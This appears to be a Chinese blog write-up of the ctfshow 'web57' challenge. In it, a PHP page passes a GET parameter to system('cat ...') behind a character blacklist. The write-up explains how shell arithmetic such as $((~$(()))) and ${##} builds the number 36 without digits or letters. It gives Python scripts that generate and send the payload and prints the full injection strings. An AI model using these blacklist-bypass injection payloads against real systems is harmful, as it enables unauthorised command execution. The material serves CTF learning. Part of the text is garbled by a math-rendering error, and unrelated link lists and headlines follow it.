当前位置: 首页 > news >正文

[ctfshow web入门] web57

信息收集

这下把.也过滤了,临时文件上传无法使用了

//flag in 36.php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){system("cat ".$c.".php");}
}else{highlight_file(__FILE__);
}

解题

$(())=0
$((~$(())))=-1

上面那两个表达式什么意思,看下面两篇博客:
博客1:$(( )) (( )) ( ) $( ) 区别详细说明和对比
博客2:shell $() $(()) $[] $[[]] ${} 使用语法
在这里插入图片描述

0取反得-1的操作,和计算机对于数据的记录方式有关,这是补码表示法,最高位是符号位。例如:1 = b0001 0=b0000 -1 = b1111,1到-1的变化是按位取反,然后加1,也就是 b0001 >> b1110 >> b1111 而0(b0000)直接使用取反得到的就是b1111也就是-1
不理解也没关系,会用就行。至于你问我为什么这样规定,那段计算机发展史我也不记得了,只知道反码表示法有0(b0000)和-0(b1111),存在歧义。

所以

36.php = 36 = -37 = -1-1-1...-1-1 = $(($((~$(())))...$((~$(())))))

至于为什么是-37,那你可以按照补码方式手工计算,按位取反然后加一。或者用现代人的办法,按计算器
在这里插入图片描述
由于手写容易出错,肉眼还看不出来,所以用代码生成一个

def get_negative(n):minus_one = "$((~$(())))"return minus_one * nprint(f"?c=$((~$(({get_negative(37)}))))")
?c=$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))

抓包即可拿到flag
在这里插入图片描述

至于给的另一个答案有点搞笑,把小写字母都过滤了,怎么可能有答案

?c=grep${IFS}'fla'${IFS}fla??php

还有高手

$ set --        # 清空参数
$ echo $#       # 输出0
$ echo ${##}    # 输出1,因为$#的值是0,所以${##}是长度1(字符'0'的长度)

在这里插入图片描述
在这里插入图片描述
所以可以KaTeX parse error: Expected '}', got '#' at position 2: {#̲#}+{##}…${##} = 36
在这里插入图片描述

import requests
def get_num(n):one = "${##}+"return (one * n)[:-1]if __name__ == "__main__":url = "http://54b70014-6b4c-469d-8c2d-7548176a4136.challenge.ctf.show/"payload = f"?c=$((~$(({get_num(36)}))))"res = requests.get(url + payload)print(res.text)

payload:

?c=$((${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}))

在这里插入图片描述
很可惜,这个虽然构造出36,但是无法成功获取flag,我尝试了get_num(9) get_num(2) get_num(18) get_num(36),很显然,可能${##} != 1 2 3 4。

同样的,($$/$$) = 1我也进行了尝试,同样失败了


web58    目录    web56

相关文章:

  • 到达最后一个房间的最少时间II 类似棋盘转移规律查找
  • QTDesinger如何给label加边框
  • Java后端程序员学习前端之JavaScript
  • k8s的pod挂载共享内存
  • Mysql-OCP PPT课程讲解并翻译
  • 数据结构 - 9( 位图 布隆过滤器 并查集 LRUCache 6000 字详解 )
  • 9. 从《蜀道难》学CSS基础:三种选择器的实战解析
  • 分贝计在评估噪音对学习的影响中起着至关重要作用
  • android-ndk开发(10): use of undeclared identifier ‘pthread_getname_np‘
  • exo:打造家用设备AI集群的开源解决方案
  • 基于Flink的用户画像 OLAP 实时数仓统计分析
  • Android NDK版本迭代与FFmpeg交叉编译完全指南
  • CTF - PWN之ORW记录
  • 手写 vue 源码 ===:自定义调度器、递归调用规避与深度代理
  • 【Linux】socket网络编程之UDP
  • 主场景 工具栏 植物卡牌的渲染
  • 使用adb设置wifi相关
  • 《100天精通Python——基础篇 2025 第16天:异常处理与调试机制详解》
  • SpringCloud服务拆分:Nacos服务注册中心 + LoadBalancer服务负载均衡使用
  • LeetCode 热题 100 131. 分割回文串
  • 上海“世行对标改革”的税务样本:设立全国首个税务审判庭、制定首个税务行政复议简易程序
  • 101条关于减重的知识,其中一定有你不知道的
  • 青年与人工智能共未来,上海创新创业青年50人论坛徐汇分论坛举办
  • 司法部:建立行政执法监督企业联系点,推行行政执法监督员制度
  • 安徽六安原市长潘东旭,已任省市场监督管理局党组书记、局长
  • 再有20余篇论文出现“妇科男患者”“前列腺女患者”,如何破除“水论文”灰产链?